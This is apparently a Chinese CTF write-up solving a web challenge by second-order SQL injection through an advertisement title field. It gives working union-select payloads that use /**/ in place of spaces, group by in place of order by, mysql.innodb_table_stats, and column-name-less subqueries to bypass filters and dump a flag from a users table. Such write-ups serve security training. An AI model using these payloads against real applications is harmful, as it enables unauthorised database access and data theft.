sql注入
无列名注入
二次注入
mysql.innodb_table_stats
首先有个登录注册,我注册了一个admin'
,然后在首页也没发现注入这个地方的点
继续查看申请发布广告
这部分发现了二次注入,在发布广告页面的广告名有sql
注入,点进去看广告详情的时候发生二次注入
首先闭合sql
语句,发现--
--+
#
都被过滤,注释符行不通,我们使用'
闭合
因为空格
和order
被过滤,判断列数使用group/**/by
title='group/**/by/**/23,'&content=123&ac=add
在第23
开始报错,说明有23
列,联合注入看回显位置
title=-2'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'&content=123&ac=add
在2
,3
处回显,查一下数据库
title=-2'union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'&content=123&ac=add
发现数据库名为web1
,查一下表名,因为or
被过滤,无法查information_schema
,用mysql.innodb_table_stats
title=-2'union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'&content=123&ac=add
因为无法查列名,只能使用无列名注入
,一个个查,最后查到users
中存在flag
title=-2'union/**/select/**/1,2,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'&content=123&ac=add